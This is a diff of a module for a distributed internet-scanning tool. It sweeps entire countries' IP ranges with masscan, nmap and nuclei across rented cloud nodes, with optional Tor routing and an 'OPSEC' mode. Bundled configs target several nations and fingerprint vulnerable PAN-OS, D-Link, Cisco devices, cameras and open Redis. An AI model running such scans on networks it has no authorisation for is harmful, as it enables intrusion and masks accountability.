'.join(country_codes)}{COLORS['RESET']}") + + # Scan mode + scan_mode = _select_scan_mode() + config['scan_mode'] = scan_mode + + # Nuclei template (masscan+nuclei only) + config['nuclei_template_local'] = '' + config['nuclei_template_remote'] = '' + if scan_mode == 'masscan+nuclei': + local_tmpl, remote_tmpl = _get_nuclei_info(vars_overrides) + if not local_tmpl: + return None + config['nuclei_template_local'] = local_tmpl + config['nuclei_template_remote'] = remote_tmpl + + # Targets / ports + targets_file, ports = _get_targets_info(scan_mode) + config['targets_file'] = targets_file + config['ports'] = ports + config['ports_str'] = ','.join(str(p) for p in ports) + config['masscan_rate'] = SCAN_MODES.get(scan_mode, {}).get('rate', 3000) + + # Resolve CIDR data + print(f"\n{COLORS['CYAN']}[*] Resolving CIDR data for {len(country_codes)} countries...{COLORS['RESET']}") + cc_cidrs = get_country_cidrs(country_codes, exclude_map) + total_ips = sum(sum(ip_count(c) for c in cidrs) for cidrs in cc_cidrs.values()) + + if total_ips == 0: + print(f"{COLORS['RED']}No IPs resolved. Check your country codes or network connectivity.{COLORS['RESET']}") + return None + + print(f"{COLORS['GREEN']}Total: {fmt_ip_count(total_ips)} IPs across {len(country_codes)} countries{COLORS['RESET']}") + config['total_ips'] = total_ips + + # Tor routing โ€” ask before estimate so table reflects the slowdown + tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower() + config['use_tor'] = tor_raw in ['y', 'yes'] + masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei') + if config['use_tor'] and scan_mode in masscan_modes: + _show_masscan_tor_warning() + confirm = input(f"{COLORS['RED']} Continue with Tor enabled, knowing masscan will leak this node's IP? [y/N]: {COLORS['RESET']}").strip().lower() + if confirm not in ['y', 'yes']: + print(f"{COLORS['YELLOW']} Tor disabled. To get full Tor coverage, re-run with scan mode 'nmap-only'.{COLORS['RESET']}") + config['use_tor'] = False + elif config['use_tor']: + print(f"{COLORS['GREEN']} Tor routing enabled โ€” all nmap traffic will use proxychains โ†’ SOCKS5 9050.{COLORS['RESET']}") + + # Advanced tuning โ€” gather BEFORE estimate so table reflects operator choices + default_rate = config['masscan_rate'] + tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides) + config.update(tuning) + + # Cost / time estimate โ€” reflects tuning + Tor throughput impact + _show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'], tuning=tuning) + + # Preset selection + print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}") + preset_list = list(PRESETS.items()) + for i, (key, val) in enumerate(preset_list, 1): + star = " (recommended)" if key == 'balanced' else "" + print(f" {i}) {val['label']}{star} โ€” {val['desc']}") + print(f" 4) Custom chunk size") + + preset_choice = input("Select [2]: ").strip() or "2" + + if preset_choice == "4": + raw = input("IPs per node: ").strip() + try: + chunk_size = int(raw.replace(',', '').replace('_', '')) + preset_key = 'custom' + except ValueError: + chunk_size = PRESETS['balanced']['chunk_size'] + preset_key = 'balanced' + else: + try: + idx = int(preset_choice) - 1 + if 0 <= idx < len(preset_list): + preset_key, preset_val = preset_list[idx] + chunk_size = preset_val['chunk_size'] + else: + preset_key = 'balanced' + chunk_size = PRESETS['balanced']['chunk_size'] + except ValueError: + preset_key = 'balanced' + chunk_size = PRESETS['balanced']['chunk_size'] + + config['preset'] = preset_key + config['chunk_size'] = chunk_size + + config['cidr_country_map_file'] = '' # filled in execute_webrunner_deployment + + # Distribute CIDRs into node chunks + all_cidrs: list[str] = [] + for cc in country_codes: + all_cidrs.extend(cc_cidrs.get(cc.upper(), [])) + + chunks = chunk_cidrs(all_cidrs, chunk_size) + + # Build per-provider region pools for round-robin assignment + provider_regions: dict[str, list[str]] = {} + for p in providers: + if p == 'linode': + provider_regions[p] = config.get('linode_regions', [config.get('linode_region', 'us-east')]) + elif p == 'aws': + provider_regions[p] = config.get('aws_regions', [config.get('aws_region', 'us-east-1')]) + elif p == 'flokinet': + provider_regions[p] = [config.get('flokinet_region', 'default')] + else: + provider_regions[p] = ['default'] + + provider_counters: dict[str, int] = {p: 0 for p in providers} + node_chunks = [] + for i, chunk in enumerate(chunks): + provider = providers[i % len(providers)] + regions = provider_regions[provider] + region = regions[provider_counters[provider] % len(regions)] + provider_counters[provider] += 1 + node_chunks.append({ + 'idx': i, + 'node_name': f"{config['webrunner_name']}-{i + 1:02d}", + 'provider': provider, + 'region': region, + 'cidrs': chunk['cidrs'], + 'ip_count': chunk['ip_count'], + }) + + config['node_chunks'] = node_chunks + print(f"{COLORS['GREEN']}Nodes: {len(node_chunks)} ({preset_key}, {fmt_ip_count(chunk_size)}/node){COLORS['RESET']}") + + # Warn if any provider's node count exceeds safe per-region quota + _PROVIDER_CAPS = {'linode': 20, 'aws': 32, 'flokinet': 10} + provider_node_counts: dict[str, int] = {} + for nc in node_chunks: + provider_node_counts[nc['provider']] = provider_node_counts.get(nc['provider'], 0) + 1 + for p, count in provider_node_counts.items(): + n_regions = len(provider_regions.get(p, ['default'])) + cap = _PROVIDER_CAPS.get(p, 20) + per_region = (count + n_regions - 1) // n_regions + if per_region > cap: + print(f"{COLORS['YELLOW']} Warning: {count} {PROVIDER_LABELS[p]} nodes across {n_regions} region(s) " + f"= ~{per_region}/region; default quota is ~{cap}/region.{COLORS['RESET']}") + + # Operator IP + config['operator_ip'] = get_public_ip() + if config['operator_ip']: + print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}") + + # OPSEC / teardown options + print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}") + + opsec_raw = input(f"Enhanced OPSEC mode? (randomize node names, minimal logging) [y/N]: ").strip().lower() + config['enhanced_opsec'] = opsec_raw in ['y', 'yes'] + + teardown_raw = input(f"Teardown nodes after scan completes? [Y/n]: ").strip().lower() + config['teardown_after_scan'] = teardown_raw not in ['n', 'no'] + + if config['teardown_after_scan']: + print(f"{COLORS['YELLOW']} Nodes will be destroyed automatically when scan completes.{COLORS['RESET']}") + else: + print(f"{COLORS['CYAN']} Nodes will remain running after scan โ€” remember to teardown manually.{COLORS['RESET']}") + + # Apply per-provider instance defaults if not set by gather_provider_config + if 'linode_instance_type' not in config: + config['linode_instance_type'] = DEFAULT_INSTANCE.get('linode', 'g6-nanode-1') + if 'aws_instance_type' not in config: + config['aws_instance_type'] = DEFAULT_INSTANCE.get('aws', 't3.small') + + return config + + +# โ”€โ”€ execution โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def execute_webrunner_deployment(config: dict): + clear_screen() + print_banner() + print(f"\n{COLORS['GREEN']}Starting WEBRUNNER deployment...{COLORS['RESET']}") + + log_file = setup_logging(config['deployment_id'], "webrunner_deployment") + + node_chunks = config.pop('node_chunks') + n_nodes = len(node_chunks) + + # Summary + print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}") + print(f" Deployment ID: {config['deployment_id']}") + print(f" Name: {config['webrunner_name']}") + + naming_info = show_naming_relationship(config['webrunner_name'], config['deployment_id'], 'webrunner') + if naming_info: + print(f" โ””โ”€ {naming_info['relationship_text']}") + + print(f" Engagement: {config['engagement']}") + print(f" Providers: {', '.join(PROVIDER_LABELS[p] for p in config['providers'])}") + print(f" Nodes: {n_nodes} ({config['preset']}, {fmt_ip_count(config['chunk_size'])}/node)") + print(f" Scan mode: {config['scan_mode']}") + print(f" Ports: {', '.join(str(p) for p in config['ports'][:8])}{'...' if len(config['ports']) > 8 else ''}") + print(f" masscan rate: {config.get('masscan_rate', 'โ€”')} pkt/s") + if config['scan_mode'] in ('masscan+nmap', 'geo-scout'): + print(f" nmap: T{config.get('nmap_timing', 4)} timeout={config.get('nmap_timeout', 60)}s workers={config.get('nmap_workers', 10)}") + if config['scan_mode'] == 'masscan+nuclei': + tmpl_name = os.path.basename(config.get('nuclei_template_local', '')) + print(f" nuclei: {tmpl_name} rate={config.get('nuclei_rate', 150)} concurrency={config.get('nuclei_concurrency', 25)} timeout={config.get('nuclei_timeout', 10)}s") + print(f" Total IPs: {fmt_ip_count(config['total_ips'])}") + print(f" Tor routing: {'Yes' if config['use_tor'] else 'No'}") + print(f" Enhanced OPSEC: {'Yes' if config['enhanced_opsec'] else 'No'}") + print(f" Teardown after: {'Yes' if config['teardown_after_scan'] else 'No'}") + + if config.get('ssh_key_path'): + key_name = os.path.basename(config['ssh_key_path']).replace('.pub', '') + print(f" SSH Key: {key_name}") + + if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with WEBRUNNER deployment?{COLORS['RESET']}", default=True): + print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}") + return + + # Write node chunks file โ€” absolute paths so Ansible lookup('file',...) works + # regardless of playbook-relative CWD + logs_dir = os.path.abspath(os.path.join(_base, 'logs')) + os.makedirs(logs_dir, exist_ok=True) + + # Save CIDRโ†’country map for merge_results per-country attribution + cc_map_file = os.path.join(logs_dir, f"cidr_country_map_{config['deployment_id']}.json") + if config.get('country_codes'): + from utils.chunk_utils import get_country_cidrs + cc_cidrs_saved = get_country_cidrs(config['country_codes'], {}) + with open(cc_map_file, 'w') as f: + json.dump(cc_cidrs_saved, f) + config['cidr_country_map_file'] = cc_map_file + + chunks_file = os.path.join(logs_dir, f"node_chunks_{config['deployment_id']}.json") + with open(chunks_file, 'w') as f: + json.dump(node_chunks, f) + + config['node_chunks_file'] = chunks_file + config['scanner_ip_log'] = os.path.join(logs_dir, f"scanner_ips_{config['webrunner_name']}.txt") + config['results_dir'] = os.path.join(logs_dir, f"webrunner_{config['deployment_id']}") + + for provider in config['providers']: + set_provider_environment({**config, 'provider': provider}) + + playbook = 'providers/webrunner.yml' + + print(f"\n{COLORS['CYAN']}[*] Launching WEBRUNNER โ€” {n_nodes} nodes across " + f"{', '.join(PROVIDER_LABELS[p] for p in config['providers'])}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']} Provisioning may take several minutes per node.{COLORS['RESET']}\n") + + success = execute_playbook(playbook, config) + + if success: + print(f"\n{COLORS['GREEN']}[+] WEBRUNNER complete.{COLORS['RESET']}") + print(f" Results: logs/webrunner_{config['deployment_id']}/") + print(f" Scanner IPs: logs/scanner_ips_{config['webrunner_name']}.txt") + print(f" Log: logs/deployment_{config['deployment_id']}.log") + else: + print(f"\n{COLORS['RED']}[-] WEBRUNNER failed. Check: logs/deployment_{config['deployment_id']}.log{COLORS['RESET']}") + + wait_for_input() diff --git a/modules/webrunner/inputs/countries-format.md b/modules/webrunner/inputs/countries-format.md new file mode 100644 index 0000000..95070b4 --- /dev/null +++ b/modules/webrunner/inputs/countries-format.md @@ -0,0 +1,89 @@ +# countries.yaml โ€” Format Specification + +## Purpose +Defines which countries to scan and optional per-country exclusions. +Used by all WEBRUNNER scan modes. The scanner resolves each country code +to its CIDR ranges using RIR delegated stats files (ARIN, RIPE, APNIC, +LACNIC, AFRINIC โ€” cached 24h locally). + +## Scope options +- **Targeted countries**: list specific ISO codes in this file +- **Single country**: just one entry +- **Global sweep**: include every country you want โ€” WEBRUNNER distributes + CIDRs across nodes automatically regardless of count + +## Relationship to scan_vars.yaml +`scan_profile.rate` in this file sets the masscan default, but it is +overridden by `masscan_rate` in `scan_vars.yaml` or the interactive tuning +prompt. Prefer `scan_vars.yaml` for operator-level tuning. + +## Schema + +```yaml +scan_profile: + name: string # Label for this profile (used in logs/reports) + rate: integer # masscan packets/sec (default: 1000, max: 100000) + max_hosts_per_country: integer|null # Cap IPs per country. null = no limit + +countries: + - code: string # ISO 3166-1 alpha-2 (e.g. US, VE, NL, GB, NG) + priority: high|medium|low # Scan order. high = first + exclude_cidrs: # Optional CIDR blocks to skip within this country + - "x.x.x.x/xx" + notes: string # Optional context (not used by scanner) +``` + +## Rules + +- `code` must be a valid ISO 3166-1 alpha-2 code +- GB is the correct code for United Kingdom (not UK) +- `rate` applies globally to the masscan run, not per-country +- `exclude_cidrs` entries must be valid CIDR notation +- Countries are scanned in priority order: high โ†’ medium โ†’ low +- Within same priority, order in the list is preserved + +## Valid priority values +`high` | `medium` | `low` + +## Common country codes +| Country | Code | +|---------|------| +| United States | US | +| United Kingdom | GB | +| Venezuela | VE | +| Netherlands | NL | +| Canada | CA | +| Nigeria | NG | +| Russia | RU | +| Germany | DE | +| China | CN | +| Brazil | BR | +| Iran | IR | +| India | IN | +| France | FR | +| Australia | AU | + +## Example + +```yaml +scan_profile: + name: "latam-europe-sweep" + rate: 2000 + max_hosts_per_country: 100000 + +countries: + - code: VE + priority: high + exclude_cidrs: [] + notes: "Primary target" + + - code: US + priority: medium + exclude_cidrs: + - "10.0.0.0/8" + - "172.16.0.0/12" + - "192.168.0.0/16" + + - code: NL + priority: low +``` diff --git a/modules/webrunner/inputs/countries.yaml b/modules/webrunner/inputs/countries.yaml new file mode 100644 index 0000000..acecb3b --- /dev/null +++ b/modules/webrunner/inputs/countries.yaml @@ -0,0 +1,51 @@ +scan_profile: + name: "adversarial-nations-panos" + rate: 3000 + max_hosts_per_country: null + +countries: + # Largest internet footprint first โ€” most likely to surface exposed devices + - code: RU + priority: high + exclude_cidrs: [] + notes: "Russia" + + - code: IR + priority: high + exclude_cidrs: [] + notes: "Iran" + + - code: BY + priority: medium + exclude_cidrs: [] + notes: "Belarus" + + - code: VE + priority: medium + exclude_cidrs: [] + notes: "Venezuela" + + - code: SY + priority: medium + exclude_cidrs: [] + notes: "Syria" + + - code: NI + priority: low + exclude_cidrs: [] + notes: "Nicaragua" + + - code: CU + priority: low + exclude_cidrs: [] + notes: "Cuba" + + - code: MM + priority: low + exclude_cidrs: [] + notes: "Myanmar" + + - code: KP + priority: low + exclude_cidrs: [] + notes: "North Korea โ€” minimal public internet, low yield expected" diff --git a/modules/webrunner/inputs/scan_vars.yaml.example b/modules/webrunner/inputs/scan_vars.yaml.example new file mode 100644 index 0000000..f5ae2e5 --- /dev/null +++ b/modules/webrunner/inputs/scan_vars.yaml.example @@ -0,0 +1,31 @@ +# scan_vars.yaml โ€” WEBRUNNER pre-configuration +# Copy this file, fill in values, and provide the path at the "Vars file" prompt. +# All fields are optional. Omit any field to be prompted interactively. + +# โ”€โ”€ masscan โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +masscan_rate: 5000 # packets/sec (default: mode-dependent, 3000โ€“10000) + # Lower for clients with strict IPS/rate-limiting + +# โ”€โ”€ nmap (masscan+nmap and geo-scout modes) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +nmap_timing: 3 # T1=sneaky T2=polite T3=normal T4=aggressive (default: 4) +nmap_timeout: 120 # per-host timeout in seconds (default: 60) + # Increase for slow/filtered networks +nmap_workers: 10 # parallel nmap threads per node (default: 10) + +# โ”€โ”€ nuclei (masscan+nuclei mode only) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +nuclei_template: "/path/to/your/cve-template.yaml" + # Local path โ€” copied to nodes at provision time + # Never fetched from the internet during scans +nuclei_rate: 150 # requests/sec rate limit (default: 150) + # Lower for clients with WAF/rate-limiting +nuclei_concurrency: 25 # concurrent goroutines (default: 25) +nuclei_timeout: 10 # per-request timeout in seconds (default: 10) + +# โ”€โ”€ example: conservative client profile โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +# masscan_rate: 1000 +# nmap_timing: 2 +# nmap_timeout: 180 +# nmap_workers: 5 +# nuclei_rate: 50 +# nuclei_concurrency: 10 +# nuclei_timeout: 20 diff --git a/modules/webrunner/inputs/targets-format.md b/modules/webrunner/inputs/targets-format.md new file mode 100644 index 0000000..088dcb7 --- /dev/null +++ b/modules/webrunner/inputs/targets-format.md @@ -0,0 +1,210 @@ +# targets.yaml โ€” Format Specification + +## Purpose +Defines what to look for during **geo-scout** mode scans. Each target is a +fingerprint with one or more probes. The scanner runs masscan to find open +ports, then fires each probe against matching hosts, and applies +pattern/version matching. + +For **masscan+nuclei** mode, use a nuclei template instead (see below). +targets.yaml is ignored in nuclei mode. + +## Nuclei template mode (masscan+nuclei) +Provide a standard nuclei YAML template file. WEBRUNNER: +1. Runs masscan to find open `ip:port` pairs +2. Feeds those pairs as targets to nuclei with your template +3. Outputs per-host match results + per-country vulnerable host counts + +**OPSEC note:** Templates are copied to nodes at provision time from your +local path. No live template fetches happen during scans. + +**Template path:** Specify in `scan_vars.yaml` (`nuclei_template: /path/to/template.yaml`) +or enter the path at the interactive prompt. + +### Minimal nuclei template structure +```yaml +id: cve-2024-example +info: + name: Example CVE + severity: critical + tags: [cve, rce] + +http: + - method: GET + path: + - "{{BaseURL}}/vulnerable/endpoint" + matchers: + - type: word + words: + - "vulnerable_string" +``` + +--- + +## Schema + +```yaml +targets: + - name: string # Human-readable label (appears in results) + tags: [string, ...] # Free-form tags for grouping/filtering results + ports: [integer, ...] # Ports masscan will scan for this target + probes: + - type: tcp_banner|http|https|rtsp|udp + # --- For http/https --- + path: string # URL path (e.g. "/", "/login.asp", "/api/version") + method: GET|POST # Default: GET + headers: # Optional extra request headers + Header-Name: value + body: string # POST body (optional) + match_in: body|headers|[body, headers] # Where to search for patterns + # --- For tcp_banner --- + # (no extra fields โ€” reads the raw TCP banner on connect) + # --- For rtsp --- + # (sends OPTIONS * RTSP/1.0 and matches banner) + # --- Pattern matching (all probe types) --- + patterns: # At least one must match (OR logic) + - "regex or plain string" + all_patterns: # All must match (AND logic, optional) + - "regex or plain string" + # --- Version extraction (optional) --- + version_extract: "regex with one capture group" + version_compare: # Optional โ€” filter by version + operator: "<="|">="|"=="|"!="|"<"|">" + value: "string or number" + # --- Confidence --- + confidence: high|medium|low # Default: medium +``` + +## Rules + +- A target matches a host if ANY probe matches +- Within a probe, `patterns` uses OR logic (any one pattern is enough) +- `all_patterns` uses AND logic โ€” use when you need multiple strings to co-occur +- `version_extract` must contain exactly one regex capture group `()` +- Version comparison is string-aware for dotted versions (e.g. "20.3" < "20.17") +- `match_in` defaults to `body` for http/https probes +- For `tcp_banner` type, the banner is the raw bytes received on connect +- Patterns are case-insensitive by default; prefix with `(?-i)` to force case-sensitive +- Tags are free-form strings โ€” use them for filtering with `--tag` at runtime + +## Probe types +| Type | Description | +|------|-------------| +| `tcp_banner` | Connect and read raw banner | +| `http` | HTTP GET/POST, match response | +| `https` | HTTPS GET/POST, match response (cert errors ignored) | +| `rtsp` | RTSP OPTIONS probe, match response | +| `udp` | Send empty UDP, match response | + +## Common port reference +| Service | Ports | +|---------|-------| +| HTTP | 80, 8080, 8000, 8888 | +| HTTPS | 443, 8443 | +| SSH | 22 | +| Telnet | 23 | +| FTP | 21 | +| RTSP (cameras) | 554, 8554 | +| ONVIF (cameras) | 80, 8080 | +| DVR/NVR | 37777, 34567 | +| RDP | 3389 | +| SMB | 445 | +| Redis | 6379 | +| Elasticsearch | 9200 | +| MongoDB | 27017 | +| MySQL | 3306 | +| PostgreSQL | 5432 | + +## Examples + +### D-Link DIR-823X firmware 240126 or 240802 +```yaml +- name: "D-Link DIR-823X fw 240126/240802" + tags: [router, d-link, cpe, iot] + ports: [80, 443, 8080] + probes: + - type: http + path: "/" + match_in: body + patterns: ["DIR-823X"] + all_patterns: [] + - type: http + path: "/" + match_in: body + patterns: ["240126", "240802"] + confidence: high +``` + +### Exposed IP cameras (any brand) +```yaml +- name: "Exposed IP Camera" + tags: [camera, iot, surveillance] + ports: [80, 554, 8080, 8443, 37777, 34567] + probes: + - type: http + path: "/" + match_in: [body, headers] + patterns: + - "(?i)hikvision" + - "(?i)dahua" + - "(?i)ip camera" + - "(?i)ipcam" + - "(?i)webcam" + - "(?i)nvr" + - "(?i)dvr" + - "(?i)axis" + - "(?i)reolink" + - "(?i)amcrest" + - type: rtsp + patterns: ["RTSP/1.0 200"] + confidence: medium +``` + +### Cisco Catalyst SD-WAN Manager <= 20.17 +```yaml +- name: "Cisco SD-WAN vManage <= 20.17" + tags: [cisco, sdwan, network, cve] + ports: [443, 8443] + probes: + - type: https + path: "/dataservice/client/server" + method: GET + match_in: body + patterns: ["vmanage", "platformVersion"] + version_extract: '"platformVersion":"([0-9.]+)"' + version_compare: + operator: "<=" + value: "20.17" + confidence: high + - type: https + path: "/" + match_in: [body, headers] + patterns: ["vManage", "Cisco SD-WAN"] + confidence: low +``` + +### Ubuntu 24.04 SSH +```yaml +- name: "Ubuntu 24.04 SSH" + tags: [linux, ubuntu, ssh] + ports: [22] + probes: + - type: tcp_banner + patterns: + - "Ubuntu-24" + - "OpenSSH.*Ubuntu" + version_extract: "SSH-2.0-OpenSSH_([0-9p.]+)" + confidence: high +``` + +### Open Redis (unauthenticated) +```yaml +- name: "Open Redis" + tags: [database, redis, exposed] + ports: [6379] + probes: + - type: tcp_banner + patterns: ["redis_version"] + version_extract: "redis_version:([0-9.]+)" + confidence: high +``` diff --git a/modules/webrunner/inputs/targets.yaml b/modules/webrunner/inputs/targets.yaml new file mode 100644 index 0000000..68d5ae8 --- /dev/null +++ b/modules/webrunner/inputs/targets.yaml @@ -0,0 +1,103 @@ +targets: + - name: "Palo Alto PAN-OS < 10.2.14" + tags: [panos, firewall, palo-alto, cve-2024-3400, network-device] + ports: [443, 4443, 8443] + probes: + - type: https + path: "/api/?type=version" + method: GET + match_in: body + patterns: ["sw-version"] + version_extract: "([0-9]+\\.[0-9]+\\.[0-9]+)" + version_compare: + operator: "<" + value: "10.2.14" + confidence: high + + - type: https + path: "/php/login.php" + method: GET + match_in: [body, headers] + patterns: + - "Palo Alto Networks" + - "PAN-OS" + confidence: low + + - type: https + path: "/global-protect/portal/gp-portal-esp.esp" + method: GET + match_in: body + patterns: ["globalprotect", "PAN-OS"] + confidence: low + + - name: "Ubuntu 24.04 SSH" + tags: [linux, ubuntu, ssh] + ports: [22] + probes: + - type: tcp_banner + patterns: + - "Ubuntu-24" + - "OpenSSH.*Ubuntu" + version_extract: "SSH-2\\.0-OpenSSH_([0-9p.]+)" + confidence: high + + - name: "D-Link DIR-823X fw 240126/240802" + tags: [router, d-link, cpe, iot] + ports: [80, 443, 8080] + probes: + - type: http + path: "/" + match_in: body + patterns: ["DIR-823X"] + confidence: medium + - type: http + path: "/" + match_in: body + all_patterns: ["DIR-823X"] + patterns: ["240126", "240802"] + confidence: high + + - name: "Exposed IP Camera" + tags: [camera, iot, surveillance] + ports: [80, 554, 8080, 8443, 37777, 34567] + probes: + - type: http + path: "/" + match_in: [body, headers] + patterns: + - "(?i)hikvision" + - "(?i)dahua" + - "(?i)ip.?camera" + - "(?i)ipcam" + - "(?i)webcam" + - "(?i)reolink" + - "(?i)amcrest" + - "(?i)axis" + confidence: medium + - type: rtsp + patterns: ["RTSP/1.0 200"] + confidence: medium + + - name: "Cisco SD-WAN vManage <= 20.17" + tags: [cisco, sdwan, network] + ports: [443, 8443] + probes: + - type: https + path: "/dataservice/client/server" + method: GET + match_in: body + patterns: ["platformVersion"] + version_extract: '"platformVersion":"([0-9.]+)"' + version_compare: + operator: "<=" + value: "20.17" + confidence: high + + - name: "Open Redis" + tags: [database, redis, exposed] + ports: [6379] + probes: + - type: tcp_banner + patterns: ["redis_version"] + version_extract: "redis_version:([0-9.]+)" + confidence: high diff --git a/modules/webrunner/tasks/collect_results.yml b/modules/webrunner/tasks/collect_results.yml new file mode 100644 index 0000000..63502f6 --- /dev/null +++ b/modules/webrunner/tasks/collect_results.yml @@ -0,0 +1,19 @@ +--- +# Fetch scan results from node back to controller + +- name: Check results exist on {{ node_name }} + stat: + path: /root/webrunner/results.json + register: results_stat + +- name: Fetch results from {{ node_name }} + fetch: + src: /root/webrunner/results.json + dest: "{{ results_dir }}/{{ node_name }}_results.json" + flat: true + when: results_stat.stat.exists + +- name: Warn if no results from {{ node_name }} + debug: + msg: "No results.json found on {{ node_name }} โ€” scan may have failed" + when: not results_stat.stat.exists diff --git a/modules/webrunner/tasks/configure_node.yml b/modules/webrunner/tasks/configure_node.yml new file mode 100644 index 0000000..8cf2e58 --- /dev/null +++ b/modules/webrunner/tasks/configure_node.yml @@ -0,0 +1,98 @@ +--- +# Configure a WEBRUNNER scan node โ€” install deps, create workspace + +- name: Update apt cache + apt: + update_cache: true + cache_valid_time: 3600 + retries: 3 + delay: 10 + +- name: Install scan tools + apt: + name: + - masscan + - nmap + - python3 + - python3-pip + - curl + state: present + retries: 3 + delay: 10 + +- name: Install Tor and proxychains + apt: + name: + - tor + - proxychains4 + state: present + retries: 3 + delay: 10 + when: use_tor | default(false) | bool + +- name: Start and enable Tor service + systemd: + name: tor + state: started + enabled: true + when: use_tor | default(false) | bool + +- name: Configure proxychains for Tor SOCKS5 + copy: + content: | + strict_chain + proxy_dns + tcp_read_time_out 15000 + tcp_connect_time_out 8000 + [ProxyList] + socks5 127.0.0.1 9050 + dest: /etc/proxychains4.conf + mode: '0644' + when: use_tor | default(false) | bool + +- name: Wait for Tor to establish circuit + wait_for: + port: 9050 + host: 127.0.0.1 + timeout: 60 + delay: 5 + when: use_tor | default(false) | bool + +- name: Create webrunner workspace + file: + path: /root/webrunner + state: directory + mode: '0700' + +- name: Copy node scanner script + copy: + src: "{{ playbook_dir }}/../modules/webrunner/tasks/node_scanner.py" + dest: /root/webrunner/node_scanner.py + mode: '0755' + +- name: Copy targets.yaml for geo-scout mode + copy: + src: "{{ targets_file }}" + dest: /root/webrunner/targets.yaml + mode: '0644' + when: scan_mode == 'geo-scout' and targets_file != "" + ignore_errors: true + +- name: Install nuclei vulnerability scanner + shell: | + if ! command -v nuclei &>/dev/null; then + curl -sL "https://github.com/projectdiscovery/nuclei/releases/download/v3.3.9/nuclei_3.3.9_linux_amd64.tar.gz" | tar -xz -C /usr/local/bin nuclei + chmod +x /usr/local/bin/nuclei + fi + args: + executable: /bin/bash + when: scan_mode == 'masscan+nuclei' + retries: 2 + delay: 5 + +- name: Upload nuclei template + copy: + src: "{{ nuclei_template_local }}" + dest: /root/webrunner/nuclei_template.yaml + mode: '0644' + when: scan_mode == 'masscan+nuclei' and nuclei_template_local | default('') != '' diff --git a/modules/webrunner/tasks/merge_results.py b/modules/webrunner/tasks/merge_results.py new file mode 100644 index 0000000..d33ca8c --- /dev/null +++ b/modules/webrunner/tasks/merge_results.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 +""" +WEBRUNNER merge โ€” combine per-node results.json files into a unified report. +Run by Ansible on the controller after all nodes complete. +""" + +import argparse +import ipaddress +import json +import sys +from pathlib import Path + + +def _build_cidr_map(cc_cidrs: dict) -> list[tuple]: + result = [] + for cc, cidrs in cc_cidrs.items(): + for cidr in cidrs: + try: + net = ipaddress.ip_network(cidr, strict=False) + result.append((net, cc.upper())) + except ValueError: + pass + result.sort(key=lambda x: x[0].prefixlen, reverse=True) + return result + + +def _lookup_country(ip: str, cidr_map: list[tuple]) -> str: + try: + addr = ipaddress.ip_address(ip) + except ValueError: + return "" + for net, cc in cidr_map: + if addr in net: + return cc + return "" + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--results-dir", required=True) + parser.add_argument("--output", required=True) + parser.add_argument("--deployment-id", required=True) + parser.add_argument("--cidr-map", default="", help="JSON file mapping country codes to CIDR lists") + args = parser.parse_args() + + results_dir = Path(args.results_dir) + node_files = sorted(results_dir.glob("*_results.json")) + + if not node_files: + print(f"No result files found in {results_dir}", file=sys.stderr) + sys.exit(1) + + cidr_map: list[tuple] = [] + if args.cidr_map: + try: + cc_cidrs = json.loads(Path(args.cidr_map).read_text()) + cidr_map = _build_cidr_map(cc_cidrs) + except (OSError, json.JSONDecodeError): + pass + + merged: dict = { + "deployment_id": args.deployment_id, + "nodes": [], + "total_results": 0, + "results": [], + } + + seen: set[str] = set() # deduplicate by ip:port + + for f in node_files: + try: + data = json.loads(f.read_text()) + except (json.JSONDecodeError, OSError) as e: + print(f"Skipping {f.name}: {e}", file=sys.stderr) + continue + + node_summary = { + "node_name": data.get("node_name", f.stem), + "scan_mode": data.get("scan_mode", "unknown"), + "result_count": data.get("result_count", 0), + } + merged["nodes"].append(node_summary) + + for entry in data.get("results", []): + key = f"{entry.get('ip')}:{entry.get('port')}" + if key not in seen: + seen.add(key) + if cidr_map: + entry["country"] = _lookup_country(entry.get("ip", ""), cidr_map) + merged["results"].append(entry) + + merged["total_results"] = len(merged["results"]) 